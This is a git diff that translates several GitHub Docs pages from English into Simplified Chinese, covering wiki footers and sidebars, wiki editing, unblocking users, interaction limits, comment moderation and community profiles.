diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
index 06192a9266..bd11c17cc6 100644
--- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
+++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a footer or sidebar for your wiki
-intro: You can add a custom sidebar or footer to your wiki to provide readers with more contextual information.
+title: 为 wiki 创建页脚或边栏
+intro: 您可以为 wiki 添加自定义边栏或页脚，以便为读者提供更多上下文信息。
 redirect_from:
   - /articles/creating-a-footer
   - /articles/creating-a-sidebar
@@ -14,33 +14,27 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Create footer or sidebar
+shortTitle: 创建页脚或侧边栏
 ---
 
-## Creating a footer
+## 创建页脚
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. At the bottom of the page, click **Add a custom footer**.
-  ![Wiki add footer section](/assets/images/help/wiki/wiki_add_footer.png)
-4. Use the text editor to type the content you want your footer to have.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki-footer.png)
-5. Enter a commit message describing the footer you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-6. To commit your changes to the wiki, click **Save Page**.
+3. 在页面底部，单击 **Add a custom footer（添加自定义页脚）**。 ![Wiki 添加页脚部分](/assets/images/help/wiki/wiki_add_footer.png)
+4. 使用文本编辑器键入您希望页脚包含的内容。 ![Wiki WYSIWYG](/assets/images/help/wiki/wiki-footer.png)
+5. 输入提交消息描述所添加的页脚。 ![Wiki 提交消息](/assets/images/help/wiki/wiki_commit_message.png)
+6. 要提交更改到 wiki，请单击 **Save Page（保存页面）**。
 
-## Creating a sidebar
+## 创建边栏
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. Click **Add a custom sidebar**.
-  ![Wiki add sidebar section](/assets/images/help/wiki/wiki_add_sidebar.png)
-4. Use the text editor to add your page's content.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki-sidebar.png)
-5. Enter a commit message describing the sidebar you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-6. To commit your changes to the wiki, click **Save Page**.
+3. 单击 **Add a custom sidebar（添加自定义边栏）**。 ![Wiki 添加边栏部分](/assets/images/help/wiki/wiki_add_sidebar.png)
+4. 使用文本编辑器添加页面内容。 ![Wiki WYSIWYG](/assets/images/help/wiki/wiki-sidebar.png)
+5. 输入提交消息描述所添加的边栏。 ![Wiki 提交消息](/assets/images/help/wiki/wiki_commit_message.png)
+6. 要提交更改到 wiki，请单击 **Save Page（保存页面）**。
 
-## Creating a footer or sidebar locally
+## 在本地创建页脚或边栏
 
-If you create a file named `_Footer.<extension>` or `_Sidebar.<extension>`, we'll use them to populate the footer and sidebar of your wiki, respectively. Like every other wiki page, the extension you choose for these files determines how we render them.
+如果您创建了名为 `_Footer.<extension>` 或 `_Sidebar.<extension>` 的文件，我们将使用它们分别填充 wiki 的页脚和边栏。 与所有其他 wiki 页面一样，您为这些文件选择的扩展名将决定我们如何渲染它们。
diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
index c132ba8340..62f1093901 100644
--- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
+++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
@@ -1,6 +1,6 @@
 ---
-title: Editing wiki content
-intro: 'You can add images and links to content in your wiki, and use some supported MediaWiki formats.'
+title: 编辑 wiki 内容
+intro: 您可以将图片和内容链接添加到您的 wiki，并使用某些受支持的 MediaWiki 格式。
 redirect_from:
   - /articles/adding-links-to-wikis
   - /articles/how-do-i-add-links-to-my-wiki
@@ -21,40 +21,39 @@ topics:
   - Community
 ---
 
-## Adding links
+## 添加链接
 
-You can create links in wikis using the standard markup supported by your page, or using MediaWiki syntax. For example:
+您可以使用页面支持的标准标记或使用 MediaWiki 语法在 wiki 中创建链接。 例如：
 
-- If your pages are rendered with Markdown, the link syntax is `[Link Text](full-URL-of-wiki-page)`.
-- With MediaWiki syntax, the link syntax is `[[Link Text|nameofwikipage]]`.
+- 如果您的页面使用 Markdown 渲染，则链接语法为 `[链接文本](wiki 页面的完整 URL)`。
+- 使用 MediaWiki 语法，链接语法为 `[[链接文本|wiki 页面的名称]]`。
 
-## Adding images
+## 添加图像
 
-Wikis can display PNG, JPEG, and GIF images.
+Wikis 可显示 PNG、JPEG 和 GIF 图片。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. Using the wiki sidebar, navigate to the page you want to change, and then click **Edit**.
-4. On the wiki toolbar, click **Image**.
-   ![Wiki Add image button](/assets/images/help/wiki/wiki_add_image.png)
-5. In the "Insert Image" dialog box, type the image URL and the alt text (which is used by search engines and screen readers).
-6. Click **OK**.
+3. 使用 wiki 边栏，导航至要更改的页面，然后单击 **Edit（编辑）**。
+4. 在 wiki 工具栏上，单击 **Image（图像）**。 ![Wiki 添加图像按钮](/assets/images/help/wiki/wiki_add_image.png)
+5. 在“Insert Image”（插入图像）对话框，输入 URL 和 alt 文本（由搜索引擎和屏幕阅读器使用）。
+6. 单击 **OK（确定）**。
 
-### Linking to images in a repository
+### 链接到仓库中的图片
 
-You can link to an image in a repository on {% data variables.product.product_name %} by copying the URL in your browser and using that as the path to the image. For example, embedding an image in your wiki using Markdown might look like this:
+您可以通过在浏览器中复制链接并将其用作图像路径，链接到 {% data variables.product.product_name %} 上仓库中的图像。 例如，使用 Markdown 在 wiki 中嵌入图像可能如下所示：
 
     [[https://github.com/USERNAME/REPOSITORY/blob/main/img/octocat.png|alt=octocat]]
 
-## Supported MediaWiki formats
+## 受支持的 MediaWiki 格式
 
-No matter which markup language your wiki page is written in, certain MediaWiki syntax will always be available to you.
-- Links ([except Asciidoc](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b))
-- Horizontal rules via `---`
-- Shorthand symbol entities (such as `&delta;` or `&euro;`)
+无论您的 wiki 页面以哪种标记语言编写，始终可使用某些 MediaWiki 语法。
+- 链接 ([Asciidoc 除外](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b))
+- 水平规则通过 `---`
+- 简明符号实体（例如 `&delta;` 或 `&euro;`）
 
-For security and performance reasons, some syntaxes are unsupported.
-- [Transclusion](https://www.mediawiki.org/wiki/Transclusion)
-- Definition lists
-- Indentation
-- Table of contents
+出于安全和性能原因，某些语法不受支持。
+- [嵌入包含](https://www.mediawiki.org/wiki/Transclusion)
+- 定义列表
+- 首行缩进
+- 目录
diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/index.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/index.md
index fbec09d8fc..cc17fd29a4 100644
--- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/index.md
+++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/index.md
@@ -1,7 +1,7 @@
 ---
-title: Documenting your project with wikis
-shortTitle: Using wikis
-intro: 'You can use a wiki to share detailed, long-form information about your project.'
+title: 使用 wiki 为项目写文档
+shortTitle: 使用 wiki
+intro: 可使用 wiki 分享有关项目的详细、长式信息。
 redirect_from:
   - /categories/49/articles
   - /categories/wiki
diff --git a/translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
index 9d91fc58fd..e6e64c105e 100644
--- a/translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
+++ b/translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Unblocking a user from your organization
-intro: 'Organization owners can unblock a user who was previously blocked, restoring their access to the organization''s repositories.'
+title: 取消阻止用户对组织的访问
+intro: 组织所有者可以取消阻止以前阻止的用户，恢复其对组织仓库的访问权限。
 redirect_from:
   - /articles/unblocking-a-user-from-your-organization
   - /github/building-a-strong-community/unblocking-a-user-from-your-organization
@@ -9,38 +9,36 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Unblock from your org
+shortTitle: 从您的组织中解除阻止
 ---
 
-After unblocking a user from your organization, they'll be able to contribute to your organization's repositories.
+取消阻止用户对组织的访问后，他们将能够为组织的仓库做出贡献。
 
-If you selected a specific amount of time to block the user, they will be automatically unblocked when that period of time ends. For more information, see "[Blocking a user from your organization](/articles/blocking-a-user-from-your-organization)."
+如果您选择在特定的时间内阻止用户，则该时间段结束后将自动取消阻止用户。 更多信息请参阅“[阻止用户访问组织](/articles/blocking-a-user-from-your-organization)”。
 
 {% tip %}
 
-**Tip**: Any settings that were removed when you blocked the user from your organization, such as collaborator status, stars, and watches, will not be restored when you unblock the user.
+**提示**：您在阻止用户访问组织时删除的任何设置（例如协作者状态、星号和关注），在取消阻止该用户后将不会恢复。
 
 {% endtip %}
 
-## Unblocking a user in a comment
+## 在评论中取消阻止用户
 
-1. Navigate to the comment whose author you would like to unblock.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Unblock user**.
-![The horizontal kebab icon and comment moderation menu showing the unblock user option](/assets/images/help/repository/comment-menu-unblock-user.png)
-3. To confirm you would like to unblock the user, click **Okay**.
+1. 导航到您要取消阻止其作者的评论。
+2. 在评论的右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **Unblock user（取消阻止用户）**。 ![显示取消阻止用户选项的水平烤肉串图标和评论审核菜单](/assets/images/help/repository/comment-menu-unblock-user.png)
+3. 要确认您想要取消阻止用户，请单击 **Okay（确定）**。
 
-## Unblocking a user in the organization settings
+## 在组织设置中取消阻止用户
 
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.moderation-settings %}
-5. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**.
-![Unblock user button](/assets/images/help/organizations/org-unblock-user-button.png)
+5. 在“Blocked users（已阻止的用户）”下您想要取消阻止的用户旁边，单击 **Unblock（取消阻止）**。 ![取消阻止用户按钮](/assets/images/help/organizations/org-unblock-user-button.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)"
-- "[Blocking a user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)"
-- "[Unblocking a user from your personal account](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)"
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- “[阻止用户访问组织](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)”
+- “[阻止用户访问您的个人帐户](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)”
+- “[解除阻止用户访问您的个人帐户](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)”
+- “[举报滥用或垃圾邮件](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)”
diff --git a/translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md b/translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
index d2c37ba9c1..5cb312669a 100644
--- a/translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
+++ b/translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Limiting interactions in your repository
-intro: You can temporarily enforce a period of limited activity for certain users on a public repository.
+title: 限制仓库中的交互
+intro: 您可以临时对公共仓库中的某些用户限制活动一段时间。
 redirect_from:
   - /articles/limiting-interactions-with-your-repository
   - /articles/limiting-interactions-in-your-repository
@@ -11,32 +11,30 @@ versions:
 permissions: People with admin permissions to a repository can temporarily limit interactions in that repository.
 topics:
   - Community
-shortTitle: Limit interactions in repo
+shortTitle: 限制仓库中的交互
 ---
 
-## About temporary interaction limits
+## 关于临时交互限制
 
 {% data reusables.community.interaction-limits-restrictions %}
 
-{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your repository.
+{% data reusables.community.interaction-limits-duration %} 在限制期过后，用户可以在您的仓库中恢复正常活动。
 
 {% data reusables.community.types-of-interaction-limits %}
 
-You can also enable activity limitations on all repositories owned by your user account or an organization. If a user-wide or organization-wide limit is enabled, you can't limit activity for individual repositories owned by the account. For more information, see "[Limiting interactions for your user account](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)" and "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)."
+您也可以为用户帐户或组织拥有的所有仓库启用或活动限制。 如果启用了用户范围或组织范围的限制，则不能限制帐户拥有的单个仓库的活动。 更多信息请参阅“[限制用户帐户的交互](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)”和“[限制组织中的交互](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)”。
 
-## Limiting interactions in your repository
+## 限制仓库中的交互
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-1. In the left sidebar, click **Moderation settings**.
-  !["Moderation settings" in repository settings sidebar](/assets/images/help/repository/repo-settings-moderation-settings.png)
-1. Under "Moderation settings", click **Interaction limits**.
-  ![Interaction limits in repository settings ](/assets/images/help/repository/repo-settings-interaction-limits.png)
+1. 在左侧边栏中，单击 **Moderation settings（仲裁设置）**。 ![仓库设置侧边栏中的"Moderation settings（仲裁设置）"](/assets/images/help/repository/repo-settings-moderation-settings.png)
+1. 在“Moderation settings（仲裁设置）”下，单击 **Interaction limits（交互限制）**。 ![仓库设置中的交互限制 ](/assets/images/help/repository/repo-settings-interaction-limits.png)
 {% data reusables.community.set-interaction-limit %}
-  ![Temporary interaction limit options](/assets/images/help/repository/temporary-interaction-limits-options.png)
+  ![临时交互限制选项](/assets/images/help/repository/temporary-interaction-limits-options.png)
 
-## Further reading
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)"
+## 延伸阅读
+- “[举报滥用或垃圾邮件](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)”
+- "[管理个人对组织仓库的访问](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+- "[用户帐户仓库的权限级别](/articles/permission-levels-for-a-user-account-repository)"
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/zh-CN/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md b/translations/zh-CN/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
index cd8481cdd1..4c5cfd2b31 100644
--- a/translations/zh-CN/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
+++ b/translations/zh-CN/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
@@ -1,6 +1,6 @@
 ---
-title: Managing disruptive comments
-intro: 'You can {% ifversion fpt or ghec %}hide, edit,{% else %}edit{% endif %} or delete comments on issues, pull requests, and commits.'
+title: 管理破坏性评论
+intro: '您可以{% ifversion fpt or ghec %}隐藏、编辑、{% else %}编辑{% endif %}或删除对议题、拉取请求和提交的评论。'
 redirect_from:
   - /articles/editing-a-comment
   - /articles/deleting-a-comment
@@ -13,79 +13,72 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Manage comments
+shortTitle: 管理评论
 ---
 
-## Hiding a comment
+## 隐藏评论
 
-Anyone with write access to a repository can hide comments on issues, pull requests, and commits.
+对仓库具有写入权限的任何人都可以隐藏议题、拉取请求及提交上的评论。
 
-If a comment is off-topic, outdated, or resolved, you may want to hide a comment to keep a discussion focused or make a pull request easier to navigate and review. Hidden comments are minimized but people with read access to the repository can expand them.
+如果评论偏离主题、已过期或已解决，您可能想要隐藏评论，以保持讨论重点或使拉取请求更易于导航和审查。 隐藏的评论已最小化，但对仓库具有读取权限的人员可将其展开。
 
-![Minimized comment](/assets/images/help/repository/hidden-comment.png)
+![最小化的评论](/assets/images/help/repository/hidden-comment.png)
 
-1. Navigate to the comment you'd like to hide.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Hide**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete options](/assets/images/help/repository/comment-menu.png)
-3. Using the "Choose a reason" drop-down menu, click a reason to hide the comment. Then click, **Hide comment**.
+1. 导航到您要隐藏的评论。
+2. 在评论的右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **Hide（隐藏）**。 ![显示编辑、隐藏、删除选项的水平烤肉串图标和评论调解菜单](/assets/images/help/repository/comment-menu.png)
+3. 使用 "Choose a reason"（选择原因）下拉菜单，单击隐藏评论的原因。 然后单击 **Hide comment（隐藏评论）**。
   {% ifversion fpt or ghec %}
-  ![Choose reason for hiding comment drop-down menu](/assets/images/help/repository/choose-reason-for-hiding-comment.png)
+  ![选择隐藏评论的原因下拉菜单](/assets/images/help/repository/choose-reason-for-hiding-comment.png)
   {% else %}
-  ![Choose reason for hiding comment drop-down menu](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png)
+  ![选择隐藏评论的原因下拉菜单](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png)
   {% endif %}
 
-## Unhiding a comment
+## 取消隐藏评论
 
-Anyone with write access to a repository can unhide comments on issues, pull requests, and commits.
+对仓库具有写入权限的任何人都可以取消隐藏议题、拉取请求及提交上的评论。
 
-1. Navigate to the comment you'd like to unhide.
-2. In the upper-right corner of the comment, click **{% octicon "fold" aria-label="The fold icon" %} Show comment**.
-   ![Show comment text](/assets/images/help/repository/hidden-comment-show.png)
-3. On the right side of the expanded comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Unhide**.
-   ![The horizontal kebab icon and comment moderation menu showing the edit, unhide, delete options](/assets/images/help/repository/comment-menu-hidden.png)
+1. 导航到您要取消隐藏的评论。
+2. 在评论右上角，单击 **{% octicon "fold" aria-label="The fold icon" %} Show comment（显示评论）**。 ![显示评论文本](/assets/images/help/repository/hidden-comment-show.png)
+3. 在展开的评论右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **Unhide（取消隐藏）**。 ![显示编辑、取消隐藏、删除选项的水平烤肉串图标和评论调解菜单](/assets/images/help/repository/comment-menu-hidden.png)
 
-## Editing a comment
+## 编辑评论
 
-Anyone with write access to a repository can edit comments on issues, pull requests, and commits.
+对仓库具有写入权限的任何人都可以编辑议题、拉取请求及提交上的评论。
 
-It's appropriate to edit a comment and remove content that doesn't contribute to the conversation and violates your community's code of conduct{% ifversion fpt or ghec %} or GitHub's [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}.
+编辑评论和删除无助于促进对话以及违反社区行为准则{% ifversion fpt or ghec %} 或 GitHub [社区指导方针](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %} 的内容是明智之举。
 
-When you edit a comment, note the location that the content was removed from and optionally, the reason for removing it.
+编辑评论时，请记下删除的内容所在的位置，也可记下删除的原因。
 
-Anyone with read access to a repository can view a comment's edit history. The **edited** dropdown at the top of the comment contains a history of edits showing the user and timestamp for each edit.
+对仓库具有读取权限的任何人都可查看评论的编辑历史记录。 评论顶部的 **edited（已编辑）**下拉菜单包含编辑历史记录，其中会显示每次编辑的用户和时间戳。
 
-![Comment with added note that content was redacted](/assets/images/help/repository/content-redacted-comment.png)
+![添加了表示内容编辑过的注释的评论](/assets/images/help/repository/content-redacted-comment.png)
 
-Comment authors and anyone with write access to a repository can also delete sensitive information from a comment's edit history. For more information, see "[Tracking changes in a comment](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)."
+评论作者和具有仓库写入权限的任何人也都可以删除评论编辑历史记录中的敏感信息。 更多信息请参阅“[跟踪评论中的更改](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)”。
 
-1. Navigate to the comment you'd like to edit.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete, and report options](/assets/images/help/repository/comment-menu.png)
-3. In the comment window, delete the content you'd like to remove, then type `[REDACTED]` to replace it.
-  ![Comment window with redacted content](/assets/images/help/issues/redacted-content-comment.png)
-4. At the bottom of the comment, type a note indicating that you have edited the comment, and optionally, why you edited the comment.
-  ![Comment window with added note that content was redacted](/assets/images/help/issues/note-content-redacted-comment.png)
-5. Click **Update comment**.
+1. 导航到您要编辑的评论。
+2. 在评论的右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **Edit（编辑）**。 ![显示编辑、隐藏、删除和报告选项的水平烤肉串图标和评论调解菜单](/assets/images/help/repository/comment-menu.png)
+3. 在评论窗口中，删除要删除的评论，然后输入 `[REDACTED]` 进行替换。 ![包含编辑过的内容的评论窗口](/assets/images/help/issues/redacted-content-comment.png)
+4. 在评论底部，输入注释，说明您已编辑评论，也可以输入编辑的原因。 ![添加了表示内容编辑过的注释的评论窗口](/assets/images/help/issues/note-content-redacted-comment.png)
+5. 单击 **Update comment（更新评论）**。
 
-## Deleting a comment
+## 删除评论
 
-Anyone with write access to a repository can delete comments on issues, pull requests, and commits. Organization owners, team maintainers, and the comment author can also delete a comment on a team page.
+对仓库具有写入权限的任何人都可以删除议题、拉取请求及提交上的评论。 组织所有者、团队维护员和评论作者也可删除团队页面上的评论。
 
-Deleting a comment is your last resort as a moderator. It's appropriate to delete a comment if the entire comment adds no constructive content to a conversation and violates your community's code of conduct{% ifversion fpt or ghec %} or GitHub's [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}.
+删除评论是调解员最后的选择。 如果整个评论没有给对话带来建设性的内容，或者违反社区的行为准则{% ifversion fpt or ghec %} 或 GitHub [社区指导方针](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}，删除评论是明智之举。
 
-Deleting a comment creates a timeline event that is visible to anyone with read access to the repository. However, the username of the person who deleted the comment is only visible to people with write access to the repository. For anyone without write access, the timeline event is anonymized.
+删除评论会创建对仓库具有读取权限的所有人可见的时间表事件。 但评论删除者的用户名只有能够写入仓库的人可见。 对于没有写入权限的任何人，时间表事件会匿名化。
 
-![Anonymized timeline event for a deleted comment](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png)
+![已删除评论的匿名化时间表事件](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png)
 
-If a comment contains some constructive content that adds to the conversation in the issue or pull request, you can edit the comment instead.
+如果评论包含一些对议题或拉取请求中的对话有建设性的内容，您可以编辑评论。
 
 {% note %}
 
-**Note:** The initial comment (or body) of an issue or pull request can't be deleted. Instead, you can edit issue and pull request bodies to remove unwanted content.
+**注：**议题或拉取请求的初始评论（或正文）不能删除。 但可以编辑议题和拉取请求正文，以删除不需要的内容。
 
 {% endnote %}
 
-1. Navigate to the comment you'd like to delete.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete, and report options](/assets/images/help/repository/comment-menu.png)
-3. Optionally, write a comment noting that you deleted a comment and why.
+1. 导航到您要删除的评论。
+2. 在评论的右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **Delete（删除）**。 ![显示编辑、隐藏、删除和报告选项的水平烤肉串图标和评论调解菜单](/assets/images/help/repository/comment-menu.png)
+3. 也可以说明您删除了哪些评论，为什么要删除。
diff --git a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
index e0cecf6b62..5f3e9ac38d 100644
--- a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
+++ b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: About community profiles for public repositories
-intro: Repository maintainers can review their public repository's community profile to learn how they can help grow their community and support contributors. Contributors can view a public repository's community profile to see if they want to contribute to the project.
+title: 关于公共仓库的社区资料
+intro: 仓库维护员可以审查其公共仓库的社区资料，以了解如何帮助发展其社区和支持贡献者。 贡献者可以查看公共仓库的社区资料，确定他们是否要参与该项目。
 redirect_from:
   - /articles/viewing-your-community-profile
   - /articles/about-community-profiles-for-public-repositories
@@ -10,36 +10,36 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Community profiles
+shortTitle: 社区简介
 ---
 
-The community profile checklist checks to see if a project includes recommended community health files, such as README, CODE_OF_CONDUCT, LICENSE, or CONTRIBUTING, in a supported location. For more information, see "[Accessing a project's community profile](/articles/accessing-a-project-s-community-profile)."
+社区资料检查列表用于检查项目是否在支持的位置包含建议的社区健康文件，如 README、CODE_OF_CONDUCT、LICENS 或 CONTRIBUTING。 更多信息请参阅"[访问项目的社区资料](/articles/accessing-a-project-s-community-profile)"。
 
-## Using the community profile checklist as a repository maintainer
+## 使用社区资料检查列表作为仓库维护工具
 
-As a repository maintainer, use the community profile checklist to see if your project meets the recommended community standards to help people use and contribute to your project. For more information, see "[Building community](https://opensource.guide/building-community/)" in the Open Source Guides.
+作为仓库维护员，可使用社区资料检查列表来检查项目是否符合建议的社区标准，以帮助人们使用和参与您的项目。 更多信息请参阅《开源指南》中的“[构建社区](https://opensource.guide/building-community/)”。
 
-If a project doesn't have a recommended file, you can click **Add** to draft and submit a file.
+如果项目没有建议的文件，可以单击 **Add（添加）**草拟并提交文件。
 
-{% data reusables.repositories.valid-community-issues %} For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+{% data reusables.repositories.valid-community-issues %} 更多信息请参阅“[关于议题和拉取请求模板](/articles/about-issue-and-pull-request-templates)”。
 
-![Community profile checklist with recommended community standards for maintainers](/assets/images/help/repository/add-button-community-profile.png)
+![包含建议的社区标准的社区资料检查列表（适用于维护员）](/assets/images/help/repository/add-button-community-profile.png)
 
 {% data reusables.repositories.security-guidelines %}
 
-## Using the community profile checklist as a community member or collaborator
+## 社区成员或协作者使用社区资料检查列表
 
-As a potential contributor, use the community profile checklist to see if a project meets the recommended community standards and decide if you'd like to contribute. For more information, see "[How to contribute](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project)" in the Open Source Guides.
+作为潜在贡献者，可使用社区资料检查列表检查项目是否符合建议的社区标准，决定您是否要参与。 更多信息请参阅《开源指南》中的“[如何参与](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project)”。
 
-If a project doesn't have a recommended file, you can click **Propose** to draft and submit a file to the repository maintainer for approval.
+如果项目没有建议的文件，可以单击 **Propose（提议）**草拟文件并提交给仓库维护员审批。
 
-![Community profile checklist with recommended community standards for contributors](/assets/images/help/repository/propose-button-community-profile.png)
+![包含建议的社区标准的社区资料检查列表（适用于贡献者）](/assets/images/help/repository/propose-button-community-profile.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Adding a code of conduct to your project](/articles/adding-a-code-of-conduct-to-your-project)"
-- "[Setting guidelines for repository contributors](/articles/setting-guidelines-for-repository-contributors)"
-- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"
-- "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)"
-- "[Open Source Guides](https://opensource.guide/)"
+- "[为项目添加行为准则](/articles/adding-a-code-of-conduct-to-your-project)"
+- "[设置仓库贡献者的指导方针](/articles/setting-guidelines-for-repository-contributors)"
+- "[添加许可到仓库](/articles/adding-a-license-to-a-repository)"
+- "[关于议题和拉取请求模板](/articles/about-issue-and-pull-request-templates)"
+- "[开源指南](https://opensource.guide/)"
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
diff --git a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/index.md b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/index.md
index f732f0c105..9485206762 100644
--- a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/index.md
+++ b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up your project for healthy contributions
-shortTitle: Healthy contributions
-intro: 'Repository maintainers can set contributing guidelines to help collaborators make meaningful, useful contributions to a project.'
+title: 设置项目的健康贡献
+shortTitle: 健康贡献
+intro: 仓库维护员可以设置参与指南，帮助协作者对项目做出有意义、有用的贡献。
 redirect_from:
   - /articles/helping-people-contribute-to-your-project
   - /articles/setting-up-your-project-for-healthy-contributions
diff --git a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
